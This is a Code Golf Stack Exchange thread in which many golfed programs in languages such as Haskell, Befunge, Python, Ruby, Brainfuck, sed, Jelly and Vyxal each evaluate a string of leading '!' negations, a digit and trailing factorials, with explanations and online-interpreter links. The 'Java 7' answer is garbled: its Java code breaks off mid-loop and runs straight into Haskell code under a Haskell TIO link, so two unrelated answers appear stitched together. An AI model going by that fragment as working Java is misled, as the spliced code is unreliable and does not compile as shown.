[Haskell](https://www.haskell.org/), 39 bytes\n```\nf('!':b)=\"10\"!!read[f b]\nf[a]=a\nf _='1'\n```\nDefines a function `f`, which takes a string and returns a character.\n[Try it online!](https://tio.run/nexus/haskell#y03MzFOwVSgoyswrUVBRSFNQUlRUNFBU@p@moa6obpWkaatkaAAUK0pNTIlOU0iK5UqLToy1TeRKU4i3VTdU//8fAA \"Haskell – TIO Nexus\")\n## Explanation\nThere are three cases: input begins with `!`, input has length 1, and everything else.\n```\nf('!':b)= -- If input has head '!' and tail b,\n \"10\"!! -- we index into the string \"10\"\n read[f b] -- using f b converted to int. This essentially inverts f b.\nf[a]= -- If input has only one character, we know it's a digit,\n a -- so we can just return it.\nf _= -- In all other cases, we know the input is a digit followed by !s,\n '1' -- so we can return '1'.\n```\n[Answer]\n# Befunge, 24 bytes\n```\n~\"!\"-:#v_$1+\n*+2%!.@>0~`\n```\n[Try it online!](http://befunge.tryitonline.net/#code=fiIhIi06I3ZfJDErCiorMiUhLkA+MH5g&input=ISEhMCEhISE)\nThis starts by counting the number of `!` characters read from stdin. The first character that isn't a `!` will either be a `0` or `1`, but in the process of testing for `!` we will have subtracted 33, making it either 15 or 16. We then read one more character, that will either be an `!` or EOF, and compare if that is less than 0 (i.e. EOF).\nTaking those three data points - the exclamation count (*c*), the digit value, (*d*), and the end-of-file condition (*e*) - we can calculate the result as follows:\n```\n!((c + d*e) % 2)\n```\nMultiplying the digit value by the end-of-file condition means it will be converted to zero if the digit was followed by a `!`, thus giving it the same modulo 2 value as a `1` (which remember has been converted to 16). But before applying the modulo 2, we add the initial exclamation count, which effectively toggles the modulo 2 result as many times as their were `!` prefixes. And finally we *not* the result since our baseline values for `0` and `1` are the opposite of what we need.\nLooking at the code in more detail:\n```\n~ Read a character from stdin.\n \"!\"- Subtract 33 (ASCII for '!').\n : _ Make a duplicate and check if zero (i.e. is it a '!').\n $1+ If so, drop the duplicate, increment a counter, and repeat.\n v Otherwise move to the second line, leaving the digit value on the stack.\n >0~` Read one more character and check if less than 0 (i.e. EOF).\n* Multiple by the digit value, making it zero if not followed by EOF.\n + Add to the exclamation count.\n 2% Modulo 2 the result.\n ! Then not that value.\n .@ And finally write to stdout and exit.\n```\n[Answer]\n# [Haskell](https://www.haskell.org/), 27 bytes\n```\nf('!':b)=1-f b\nf\"0\"=0\nf _=1\n```\n[Try it online!](https://tio.run/nexus/haskell#y03MzFOwVSgoyswrUVBRyE0sUEhTiFYyUNJRUFI0BJMGihAOhFI0gApCuVBFiiARhBiMDZaEGADVbwARgQpBNRgqxf5P01BXVLdK0rQ11E1TSOJKA7rB1oArTSHe1vD/fwA \"Haskell – TIO Nexus\")\nEach leading `!` complements the output for the rest of the expression, done as `1-`. We keep flipping until we hit a digit. If the remaining is just `\"0\"`, the result is 0. Otherwise, it's a `1` or is followed by one or more `!`, so the result is 1.\n[Answer]\n# Python, 38 bytes\n```\nlambda s:(s[1::2]>s[::2])^ord(s[-1])%2\n```\n**[TryItOnline!](https://tio.run/nexus/python3#RY3RCsMgDEWf51fow7BCB9pHof0RsdDRCYWtHcb/d0viupfknpMLqWl8Lq/7ukjwHQTn/RAnCLjMfOT1624umusgygMKjEFb3UvtcFhFkaYirRxnVnyxqtVYtuLZbLaxQvN3lKNIR5b4Xm47bfDi8s7bXjok84PEeLKp9QM)**\nAn unnamed function taking an input string `s` and returning an integer `0` or `1`.\n`s[1::2]` is a slice of the input string that starts at index 1 and has a step size of two: \n`'Like this' -> 'ieti'`\n`s[::2]` is similar but starts at the default index of 0: \n`'Like this' -> 'Lk hs'`\nThe test `(s[1::2]>s[::2])` checks if the 0-based index of the `'0'` or `'1'` is odd, i.e. if we need to complement. \nThis works because the ordering of strings is checked lexicographically with any non-empty string greater than the empty string, and with ASCII ordering, so `'1'>'0'>'!'`. This is a byte shorter than the simpler `s.index(max(s))%2`.\nThe `ord(s[-1])%2` checks to see if the last character is not a `'0'` (for valid input), and results in an integer (whereas the same length `(s[-1]!='0')` would return a boolean). \nThis works because the last character of the input, `s[-1]`, will be a `'0'`, `'1'`, or `'!'` which have ASCII code points 48, 49, and 33 respectively, which are 0, 1, and 1 modulo 2.\nThe `^` then performs a bitwise exclusive or operation on the two above values, returning an integer since one input, the right one, is an integer. If the left is True the complement of the right is returned, if the left is False the right is returned, as required.\n[Answer]\n## Ruby, ~~22 21~~ 20 bytes\n```\n->s{(s=~/!*$|0$/)%2}\n```\nExplanation:\n* First case, I got some '!' at the end, remove them, get length modulo 2.\n* Second case, no '!', if last character is zero then remove it, get length modulo 2\n* If the last character is 1, back to the first case\n(-1 byte stealing @Value Ink's idea)\n[Answer]\n# [APL (Dyalog Extended)](https://github.com/abrudz/dyalog-apl-extended), 21 bytes\n```\n⍎⌽'!(\\d.*)'⎕R'\\1~'⍣≡⍞\n```\nRepeatedly shift any !s to the right with the fixpoint ⍣≡\n!!!!0! -> !!!0!~ -> !!0!~~ -> !0!~~~ -> 0!~~~~\nThen reverse with ⌽, and execute with ⍎\n[Try it online!](https://tio.run/##SyzI0U2pTMzJT9dNrShJzUtJTfn/qKM97f@j3r5HPXvVFTViUvS0NNUf9U0NUo8xrFN/1Lv4UefCR73zQMr@K4BBGpcBF4xlCGcZKCIEEUxFhFJFQyRRJBVIqg0UkQ1BUoNsjKIhAA \"APL (Dyalog Extended) – Try It Online\")\n[Answer]\n# [///](https://esolangs.org/wiki////), 27 bytes\n```\n/0!/1//!!///!1/0//!0/1//!//\n```\n[Try it online!](https://tio.run/##TYyxDYAwEAN7pogHQLYXYBcKJAq67K8nIZ@Ixvdv2a7PWe@rRlCgSYBNTDXVZ5Chsh9Fmzu8CYNOQkmPGEagHc5DWJXZQW4CniuYNawldPfvry9e \"/// – Try It Online\")\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), 8 bytes\n```\nœr”!LḂ=V\n```\n[Try it online!](https://tio.run/nexus/jelly#@390ctGjhrmKPg93NNmG/X/UMMcAiA1BtCKIASIUQUKKhmAWmA8WNVCEKACLQJTA1ECEIDxFEB8uAmHOPdz@qGnN0UkPd874DwA \"Jelly – TIO Nexus\")\nThis is a *function* (monadic link) that takes one argument and returns via its return value. (It also often writes junk to standard output as a side effect, but we don't care about that.)\n## Explanation\n```\nœr”!LḂ=V\nœr”! Take {the input}, with all trailing ! deleted\n L Take the length of this\n Ḃ Take the parity of that length\n = Return 0 if unequal, 1 if equal to:\n V the value of {the input} when eval'ed as a niladic Jelly program\n```\nFirst, note that as the input always consists of some number of `!`, followed by a digit, followed by more `!`, that if we delete the trailing `!` and take the length, we'll end up with one plus the number of leading `!` in the program. Taking the parity of this will return 0 if there were an odd number of `!`, or 1 if there were an even number of `!`. Comparing to 0 is a \"not\" function, whereas comparing to 1 is the identity function; thus `œr”!LḂ=` effectively implements the \"treat leading `!` as NOT operators\" part of the question.\nAs for the second half, handling factorials, `!` is a factorial operation in Jelly, so if the program has no leading `!`, we can solve the problem directly with a simple `eval` (`V`). If the program *does* have leading `!`, those will be interpreted as taking the factorial of 0 (possibly multiple times), producing a return value of 1, which will be printed to standard output and discarded once a digit is seen; thus, they have no impact on the return value of the function that's my submission to the question.\n[Answer]\n# Java 7, ~~105~~ ~~82~~ 81 bytes\n```\nint a(char[]a){int b=0,c=0;for(;a[b++]<34;c^=1);return(bnot)(last s`elem`\"1!\")$fst.span(<'0')$s=\"1\"|1<3=\"0\"\n```\n[Try it online!](https://tio.run/nexus/haskell#DcNBCoAgEADAr2yLoB4Kpav2kiClFAK1aPfY362B6RnozVc5HrVu49Iu1qpEYqCQSqoB7YBaZOKJ7tiUk0ZqQR4tvtbNHg32Gs8GHs7G6Yk7g4Dch5/5fw \"Haskell – TIO Nexus\") Usage: `f \"!!!0!!!!\"`\nSaved two bytes thanks to @nimi.\n[Answer]\n# Brainfuck, 115 bytes\n```\n>,[->++++[<-------->-]<[--------------->,[<[-]+>-]<<[->-[>+<+]>[-<+>]<<]>>++++++[-<++++++++>]<.>>+<]>-[<<+>,>[-]]<]\n```\n[Try it online!](https://tio.run/nexus/brainfuck#VYxBCsBADALfknPWQu/iR4L/f8bWlr10IBBGcWsN1GGIg2AO/qQW536zPMKo2daArSjrG8lMxCH@ik6GYWorbZveu6ruXD0 \"brainfuck – TIO Nexus\")\n## Ungolfed:\n```\n% 0: inverter count\n% 1: result\n% 2: if/else flag; tmpspace in inner loop 0\n>1,[\n ->2++++[<-------->-]<1 subtract 33 (!)\n [ \n % we've reached the number\n ---------------\n % now it's either 0 or 1\n % check next char; If it's not 0 then it's '!'\n % 0! = 1! = 1!...! so we only need to determine if at least one ! exists\n >2,\n [<[-]+>-]<1\n % apply inversions\n <0\n [->1\n % invert cell 1 once each iteration\n % cell 1 is 0 or 1\n - % cell 1 is 255 or 1\n [>+<+] % cell 1 is 0; cell 2 is 1 iff cell 1 should be 1\n >2[-<+>]<1 % cell 1 is 1 or 0\n <0]\n % print result\n >1>++++++[-<++++++++>]<1.\n >>2+< % tape={0 r 0 1}\n ]\n >2-[ % we haven't seen the number yet\n <<0+>1,>2 % add to inverter count\n [-]\n ]<1\n]\n```\n[Answer]\n# sed, ~~36~~ ~~33~~ 31 bytes\nPure sed, no bc / shell utils. Works on GNU sed < 4.3; 33 bytes on BSD and GNU 4.3+.\n```\ns/.!!*$/1/\n:\ns/!0/1/\ns/!1/0/\nt\n```\nStraightforward enough if you're familiar with `sed`; commented for those who aren't:\n```\n# Since 0! == 1! == 1 and factorial has precedence, just collapse any trailing \"!\" \ns/.!!*$/1/\n# Define an anonymous label\n:\n# Invert 0 if needed\ns/!0/1/\n# Invert 1 if needed\ns/!1/0/\n# If a change was made, go back to the anonymous label.\nt\n```\nTest:\n```\n% cat 109248.sed\ns/.!!*$/1/\n:l\ns/!0/1/\ns/!1/0/\ntl\n% wc -c 109248.sed\n 33 109248.sed\n% cat cases\n0\n1\n0!\n1!\n!0\n!1\n!0!\n!1!\n0!!\n1!!\n!!0\n!!1\n!0!!\n!!!1\n!!!0!!!!\n!!!1!!!!\n% sed -f 109248.sed cases\n0\n1\n1\n1\n1\n0\n0\n0\n1\n1\n0\n1\n0\n0\n0\n0\n% gsed -f 109248.sed cases\n0\n1\n1\n1\n1\n0\n0\n0\n1\n1\n0\n1\n0\n0\n0\n0\n%\n```\n[Answer]\n# [><>](https://esolangs.org/wiki/Fish), 18 bytes\n```\nib%:?\\\n+2%n;\\i+3=l\n```\n[Try it online!](https://tio.run/##S8sszvj/PzNJ1co@hkvbSDXPOiZT29g25/9/RUVFAyAGAA \"><> – Try It Online\")\nSolved as part of [LYAL CMC](https://chat.stackexchange.com/transcript/message/59147177#59147177).\nThe basic idea is to process from left to right, doing the following:\n* If the current char is `!` (boolean negation), keep it on the stack so that stack height can be used for negation count.\n* If the current char is `0` or `1`, take one more char and test if there's a factorial (modifying the number to 1 if there is). Apply negation, print as number, and halt.\nOptimizations:\n* To get the final number, we can simply do `2%` at the end, which means we can just add the stack height + 1 (because the final stack height would be one more than the number of negations).\n* To discriminate between 48/49 and 33, we can do `b%` (modulo 11, [idea](https://chat.stackexchange.com/transcript/message/59147302#59147302) by Jo King).\n* The (digit, factorial-or-EOF) combinations to handle are:\n```\n(48, 33) -> 1\n(49, 33) -> 1\n(48, -1) -> 0\n(49, -1) -> 1\n```\nWe can use `48%11 = 4` and `49%11 = 5`. Then a simple way to handle these combinations is to check if the sum of two numbers is 3 or not. We could use \"is not 3\" for the condition, but it turns out that we can negate it and remove the extra `1+`.\n[Answer]\n# [Vyxal](https://github.com/Vyxal/Vyxal), 16 bytes\n```\n`\\d!+`1øṙ\\!\\¬VṘĖ\n```\n[Try it Online!](https://lyxal.pythonanywhere.com?flags=&code=%60%5Cd!%2B%601%C3%B8%E1%B9%99%5C!%5C%C2%ACV%E1%B9%98%C4%96&inputs=!!0&header=&footer=)\nWe do a little regex.\n## Explained\n```\n`\\d!+`1øṙ\\!\\¬VṘĖ\n`\\d!+` # The string \"\\\\d!+\" ( a regex that matches the digit followed by !)\n 1øṙ # and replace it with \"1\" (because 0! = 1! = 1)\n \\!\\¬V # replace any remaining \"!\" with \"¬\" (not)\n ṘĖ # then reverse and evaluate\n```\n]"}}},{"rowIdx":37,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers.\n \n \nClosed 8 years ago.\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \nYour task is simple. Write a program that should obviously produce an error on first glance either when compiled or run, but either doesn't or produces some other unrelated error. This is a popularity contest, so be creative.\n \n[Answer]\n# C++\nMake sure you compile the following code in standard conforming mode (for example, for g++ use the -ansi flag):\n```\nint main()\n{\n // why doesn't the following line give a type mismatch error??/\n return \"success!\";\n}\n```\nHow it works:\n> \n> The ??/ is a trigraph sequence that is translated into a backslash which escapes the following newline, so the next line is still part of the comment and therefore won't generate a syntax error. Note that in C++, omitting the return in `main` is well defined and equivalent to returning 0, indicating a successful run.\n> \n> \n> \n[Answer]\n# Ruby\nAlways a fan of this one.\n```\nx = x\n```\nNo `NameError`. x is now `nil`.\n> \n> This is just a \"feature\" of Ruby :-)\n> \n> \n> \nHere's a more mundane one that's gotten me before:\n```\nx = 42\nif x < 0\n raise Exception, \"no negatives please\"\nelseif x == 42\n raise Exception, \"ah! the meaning of life\"\nelse \n p 'nothing to see here...'\nend \n```\nPrints \"nothing to see here.\"\n> \n> It's **elsif**, not **elseif**. (and it's certainly not **elif** - woe to the wayward python programmer (me)!) So to the interpreter **elseif** looks like a normal method call, and since we don't enter the x<0 block, we go straight on to **else** and don't raise an exception. This bug is incredibly obvious in any syntax-highlighting environment, thankfully (?) code golf is not such an environment.\n> \n> \n> \n[Answer]\n# C?\nPretty normal code here...\n```\nvoid main() = main--;\n```\n> \n> It's Haskell, not C. It defines a function named \"void\" that takes two arguments. The first is named \"main\" and if the second (unnamed) is an empty tuple, it returns the \"main\" variable. \"--\" starts a comment in Haskell, so the \";\" is commented out.\n> \n> \n> \n[Answer]\n# JavaScript\n```\nvar а = 100;\nif (typeof a !== 'undefined') throw 'This should always throw, right?';\nconsole.log('How am I still alive?');\n```\nHere's how it works:\n> \n> The first `a` is actually an `а` (that is, Cryllic Unicode \"a\").\n> \n> \n> \n[Answer]\n# JavaScript\nWhen I was providing the following code I was told many times *\"It must be a typo! How can it work?\"*.\n```\nconsole.log( 42..toString(2) );\n```\nThe description below was copied exactly from [one the recent cases](https://codegolf.stackexchange.com/a/21381/14901).\n> \n> As you probably know, in JavaScript everything except literals is an object. Numbers are objects as well. So theoretically (and practically) you may get properties or call methods of any non-literal via dot notation, as you do `'string'.length` or `[1,2,3].pop()`. In case of numbers you may do the same but you should keep in mind that after a single dot the parser will look for a fractional part of the number expecting a float value (as in `123.45`). If you use an integer you should \"tell\" the parser that a fractional part is empty, setting an extra dot before addressing a property: `123..method()`.\n> \n> \n> \n[Answer]\n# bash\n```\n#!/bin/bash\n[ 1 < 2 ] && exit\nfor i in `seq 1 $[2 ** 64]`\n do \"$0\" | \"$0\"\ndone\nwhile [[ false ]]\n do :\ndone\nif maybe\n do [: [: [: [: [; [; [; [; ;] ;] ;] ;] :] :] :] :]\nfi\n```\n### Results\n* You might expect the script not to produce any errors at all, since it exits after the first command. It doesn't.\n* You might expect the typical error messages caused by an ongoing fork bomb due to the `for` loop. There's no fork bomb.\n* You might expect bash to complain about the missing `maybe` command or the whole bunch of syntax error inside the `if` block. It won't.\n* The only error message the script *might* produce ends in `2: No such file or directory`.\n### Explanation\n* > \n> `[` isn't special to bash, so `< 2` performs, as usual, redirection. Unless there is a file with name `2` in the current directory, this will cause an error.\n> \n> \n>\n* > \n> Due to that error above, the command before `&&` will have a non-zero exit status and `exit` will not be executed.\n> \n> \n>\n* > \n> The `for` loop isn't infinite. In fact, there's no loop at all. Since bash cannot compute the 64th power of 2, the arithmetic expression's result is `0`.\n> \n> \n>\n* > \n> `[[ false ]]` tests if `false` is a null string. It isn't, so this `while` loop is infinite.\n> \n> \n>\n* > \n> Because of the above, the `if` statement never gets executed, so no errors get detected.\n> \n> \n>\n[Answer]\n## Perl\n```\nuse strict;\nuse warnings;\nSyntax error!\nexit 0;\n```\nSource and explanation: \n[Answer]\n# Java\n```\nclass Gotcha {\n public static void main(String... args) {\n try {\n main();\n } finally {\n main();\n }\n }\n}\n```\nNo stack overflows here; move along.\n> \n> At first glance, this should produce a `StackOverflowError`, but it doesn't! It actually just runs forever (for all practical purposes at least; technically it would terminate after a time many orders of magnitude longer than the age of the universe). If you want to know how/why this works, see [this](https://stackoverflow.com/questions/12438786/try-finally-block-prevents-stackoverflowerror). Also, if you happen to be wondering why we can call `main()` without arguments when the main method generally would need a `String[]` argument: it's because we've declared it to be variable-argument here, which is perfectly valid.\n> \n> \n> \n[Answer]\n# CoffeeScript\n```\nWhat? No error? Yep, this code does not have any bugs, why would it?\n```\n> \n> `?` followed by a space is operator that calls a function, but only if it exists. JavaScript doesn't have a function called `What`, therefore the function isn't called, and its arguments are simply ignored. The other words in the code are function calls that actually aren't called, because `What` function doesn't exist. At end, `?` is existence operator, as it is not used in call function. Other sentence enders, such as `.` or `!` would not work, as `.` is for methods, and `!` is not operator (which cannot be used after an identifier).\n> \n> To read how CoffeeScript converted this to JavaScript, visit .\n> \n> \n> \n[Answer]\n# VBScript\nThe `&` operator in VBScript is string concatenation but what on earth are the `&&` and `&&&` operators? (Recall that the \"and\" operator in VBScript is `And`, not `&&`.)\n```\nx = 10&987&&654&&&321\n```\nThat program fragment is legal VBScript. Why? And what is the value of `x`?\n> \n> The lexer breaks this down as `x = 10 & 987 & &654& & &321`. An integer literal which begins with `&` is, bizarrely enough, an octal literal. An octal literal which ends with `&` is, even more bizarrely, a long integer. So the value of x is the concatenation of the decimal values of those four integers: `10987428209`.\n> \n> \n> \n[Answer]\n# Objective-C\nNot a big deal, but it has surprised me while trying to put a link inside a comment: \n```\nhttp://www.google.com\n return 42;\n```\n> \n> http is a code label here, such labels are used in goto instructions\n> \n> \n> \n[Answer]\n# C#\n```\nclass Foo\n{\n static void Main(string[] args)\n {\n Bar();\n }\n static IEnumerable Bar()\n {\n throw new Exception(\"I am invincible!\");\n yield break;\n }\n}\n```\n> \n> Because the `Bar` method does a `yield`, the method doesn't actually run when called, it returns an enumerator which, when iterated,s runs the method.\n> \n> \n> \n[Answer]\n## C\n```\nmain=195;\n```\n> \n> Works on x86 platforms, where 195 is the opcode for ret. Does nothing,\n> \n> \n> \n[Answer]\n# Java\nProbably too obvious.\n```\npublic static void main(String[] varargs) throws Exception{\n char a, b = (char)Integer.parseInt(\"000d\",16);\n // Chars have \\u000d as value, so they're equal\n if(a == b){\n throw new Exception(\"This should be thrown\");\n }\n}\n```\nWhat?\n> \n> Throws a syntax error after `\\u000d`. `\\u000d` is the unicode for a new line. Even though it is commented out, the Java compiler treats what is after this as code since it isn't commented out anymore.\n> \n> \n> \n[Answer]\n# C++\n```\n#include \nint succ(int x)\n{\n return x + 1;\n}\nint succ(double x)\n{\n return int(x + 1.0);\n}\nint succ(int *p)\n{\n return *p + 1;\n}\nint main()\n{\n std::cout << succ(NULL) << '\\n';\n}\n```\nWhy?\n> \n> `NULL` is an intergal constant, so it matches the `int` overload strictly better than the `int*` one. Still, most programmers have `NULL` associated with pointers, so a null pointer dereference can be expected.\n> \n> \n> \n[Answer]\n## Python\n```\nprint \"\"\"\"\"quintuple-quoted strings!\"\"\"\"\"\n```\n> \n> Perfectly valid, but the output is hard to guess. The first 3 \" characters start a multiline string and the next two are part of the string. At the end, the first three \"s terminate the string and the last two are an empty string literal that gets concatenated by the parser to the multiline string.\n> \n> \n> \n[Answer]\n## **JavaScript**\n```\nif (1/0 === -1/0) {\n throw \"Surely there's an error in here somewhere...\";\n}\n```\nHow it works:\n> \n> There's positive and negative infinity in JS, and no error for dividing by zero.\n> \n> \n> \n[Answer]\n## C++\nMixing trigraphs and space-less lambdas can be quite confusing and definitely look erroneous to people who are not aware of trigraphs:\n```\nint main()\n{\n return??-??(??)()??()??(0??);\n}\n```\nHow it works:\n> \n> Some sequences consisting of 3 symbols, beginning with ??, are called trigraphs and will be substituted by a fully-compliant preprocessor. Preprocessed, the line in question looks as follows: **return ~[] (){ return \"\\x00FF\"; }()[0];** As one can see, this is nothing but a superfluous lambda function returning a string consisting of the 0xFFth character. The **[0]** just extracts that character and **~** NOTs it, so 0 is returned.\n> \n> \n> \n[Answer]\n## VBA/VB6\n```\nPrivate Sub DivByZero()\n Dim x() As String\n x = Split(vbNullString, \",\")\n Debug.Print 1 / UBound(x)\nEnd Sub\n```\nSplitting an empty comma delimited string should give an empty array. Should be an obvious division by zero error, right?\n> \n> Nope. Surprisingly, when any zero length string is split the runtime\n> gives you an array with a lower bound of 0 and an upper bound of -1.\n> The code above will output -1.\n> \n> \n> \n[Answer]\n# Javascript\n```\n5..toString();\n5 .toString();\n```\nGives:\n5\nWhereas:\n```\n5.toString();\n```\nGives SyntaxError\nHow it works:\n> \n> JavaScript tries to parse dot on a number as a floating point literal\n> \n> \n> \n[Answer]\n# HTML\nFirst post here, I'm not sure I get this or not, but here goes.\n```\n\n \n \n \n \n\n```\n---\n> \n> It's a `.html` file...\n> \n> \n> \n[Answer]\n# VBScript\nVisual Basic 6 users will know that\n```\nIf Blah Then Foo Bar\n```\nis legal, as is\n```\nIf Blah Then \n Foo Bar\nEnd If\n```\nBut what about\n```\nIf Blah Then Foo Bar End If\n```\n? Turns out that is legal in VBScript but not in VB6. Why?\n> \n> It's a bug in the parser; the intention was to reject this. The code which detects the `End If` was supposed to also check whether it was a multi-line `If` statement, and it did not. When I tried to fix it and sent out a beta with the fix, a certain influential industry news organization discovered that they had this line of code in one of their VBScript programs and said they would give the new version a low rating unless we un-fixed the bug, because they didn't want to change their source code.\n> \n> \n> \n[Answer]\n# C\nThis reminded me of an error I ran into when I learned C. Sadly the original variant doesn't seem to work with a current GCC, but this one still does:\n```\n#define ARR_SIZE 1234\nint main() {\n int i = ARR_SIZE;\n int arr[ARR_SIZE];\n while(i >= 0) {\n (--i)[arr] = 0;\n }\n i = *(int*)0;\n}\n```\nThis obviously segfaults because we dereference a null pointer, right?\n> \n> Wrong - actually, it's an infinite loop as our loop condition is off by one. Due to the prefix decrement, `i` runs from 1023 to -1. This means the assignment overwrites not only all elements in `arr`, but also the memory location directly before it - which happens to be the place where `i` is stored. On reaching `-1`, `i` overwrites itself with `0` and thus the loop condition is fulfilled again...\n> \n> \n> \nThis was the original variant I which I can't reproduce anymore:\n> \n> The same thing worked with `i` going upwards from 0 and being off by one. The latest GCC always stores `i` before `arr` in memory; this must have been different in older versions (maybe depending on declaration order). It was an actual error I produced in one of my first toy programs dealing with arrays.\n> \n> \n> \nAlso, this one's obvious if you know how pointers work in C, but can be surprising if you don't:\n> \n> You might think that the assignment to `(--i)[arr]` throws an error, but it's valid and equivalent to `arr[--i]`. An expression `a[x]` is just syntactic sugar for `*(a + x)` which computes and dereferences the pointer to the indexed element; the addition is of course commutative and thus equivalent to `*(x + a)`.\n> \n> \n> \n[Answer]\n## Java\n```\npublic class WhatTheHeckException extends RuntimeException {\n private static double d; // Uninitialized variable\n public static void main(String... args) {\n if (d/d==d/d) throw new WhatTheHeckException();\n // Well that should always be true right? == is reflexive!\n System.out.println(\"Nothing to see here...\");\n }\n}\n```\nWhy this works:\n> \n> Unitialized fields have default values. In this case **d** is just **0**. **0/0 = NaN** in double division, and **NaN** never equals itself, so the **if** returns false. Note this would not work if you had **0/0==0/0**, as at would be integer **0/0** division would WOULD throw an **ArithmeticException**.\n> \n> \n> \n[Answer]\n# PHP (40 bytes)\n```\n (remove the ` \n> `compl` is a standard alternative spelling for `~`, just like `not` is an alternative for `!`. `compl` is used here to first override `operator~` and then define a destructor. Another trick is that `operator comp` is a conversion function from the type `comp` to itself. Surprisingly the standard does not forbid such a conversion function - but it does say that such a function is never used.\n> \n> \n> \n[Answer]\n# VBScript\n```\nfunction[:(]([\"):\"]):[:(]=[\"):\"]:\nend function\nmsgbox getref(\":(\")(\":)\")\n'Output: :)\n```\nWhat it does:\n> \n> Function, Sub and Variable Names in VBScript can be anything if you use square brackets. This script makes a function called `:(` and one argument `\"):\"` but because they do not follow normal naming convention they are surrounded by square brackets. The return value is set to the parameter value. An additional colon is used to get everything on one line. The Msgbox statement gets a reference to the function (but does not need the brackets) and calls it with a smiley `:)` as parameter.\n> \n> \n> \n[Answer]\n## C#\nActually I caught myself on mistakenly doing just that :)\n```\npublic static object Crash(int i)\n{\n if (i > 0)\n return i + 1;\n else\n return new ArgumentOutOfRangeException(\"i\");\n}\npublic static void Main()\n{\n Crash(-1);\n}\n```\n> \n> **throw**, not **return**.\n> \n> \n> \n[Answer]\n# Java\n```\nenum derp\n{\n public static void main(String[] a)\n {\n System.out.println(new org.yaml.snakeyaml.Yaml().dump(new java.awt.Point()));\n }\n}\n```\nAnd how that one works:\n> \n> Firs you think the Enum is not valid but its valid; then you think it will print a standard Point objects attributes but Gotcha! due to how Snakeyaml serializes you get a smooth StackOverFLow error\n> \n> \n> \nAnd another one:\n```\nenum derp\n{\n ;public static void main(String[] a)\n {\n main(a);\n }\n static int x = 1;\n static\n {\n System.exit(x);\n }\n}\n```\n> \n> you think a Stackoverflow will happen due to the obvious recursion but the program abuses the fact that when you run it the `static{} block` will be executed first and due to that it exits before the main() loads\n> \n> \n> \n```\nenum derp\n{\n ;\n public static void main(\n String[] a)\n {\n int aa=1;\n int ab=0x000d;\n //setting integer ab to \\u000d /*)\n ab=0;\n \n /*Error!*/\n aa/=ab;\n }\n static int x = 1;\n}\n```\n> \n> this one relies on that `/*Error*/`-commented out code as closing point for the comment opened before the ab=0; the explain about the integer ab to 0x000d hides the newline to activate the commentout of the next line\n> \n> \n> \n[Answer]\n# C\nStrings and arrays in c can be pretty confusing\n```\nmain(){\n int i=0;\n char string[64]=\"Hello world;H%s\";\n while(strlen(&i++[string])){\n i[' '+string]=string[i]-' ';\n }\n 5[string]=44;\n return printf(string,'!'+string);\n}\n```\n]"}}},{"rowIdx":38,"cells":{"text":{"kind":"string","value":"[Question]\n [\nI think the question as above is clear, but just in case:\n* Write a *full* program (not just a function) which prints a positive base 10 integer, optionally followed by a single newline.\n* Qualifying programs will be those whose output is longer (**in bytes**) than the source code of the program, measured in bytes (assuming ASCII or UTF-8 encoding for the program source code).\nI.e. the code must be shorter than the number of digits in the resulting number.\n* Leading zeros are disallowed under all circumstances. Counting leading zeroes trivialises the problem; ignoring leading zeros unnecessarily complicates the question.\n* The winning program will be the qualifying program which prints the integer with the smallest magnitude.\n### Leaderboard snippet\n```\nvar QUESTION_ID = 67921;\nvar ANSWER_FILTER = \"!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe\"; var COMMENT_FILTER = \"!)Q2B_A2kjfAiU78X(md6BoYk\";\nvar answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page;\nfunction answersUrl(index) { return \"https://api.stackexchange.com/2.2/questions/\" + QUESTION_ID + \"/answers?page=\" + index + \"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\" + ANSWER_FILTER; }\nfunction commentUrl(index, answers) { return \"https://api.stackexchange.com/2.2/answers/\" + answers.join(';') + \"/comments?page=\" + index + \"&pagesize=100&order=desc&sort=creation&site=codegolf&filter=\" + COMMENT_FILTER; }\nfunction getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: \"get\", dataType: \"jsonp\", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: \"get\", dataType: \"jsonp\", crossDomain: true, success: function (data) { if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); }\ngetAnswers();\nvar SCORE_REG = /\\s*([^\\n,<]*(?:<(?:[^\\n>]*>[^\\n<]*<\\/[^\\n>]*>)[^\\n,<]*)*)(?:,|[-\\u2013] ).*?([\\d,^!e+]+)(?=\\:?[^\\n\\d<>]*(?:<(?:s>[^\\n<>]*<\\/s>|[^\\n<>]+>)[^\\n\\d<>]*)*<\\/h\\d>)/;\nvar OVERRIDE_REG = /^Override\\s*header:\\s*/i;\nfunction getAuthorName(a) { return a.owner.display_name; }\nfunction process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '

' + c.body.replace(OVERRIDE_REG, '') + '

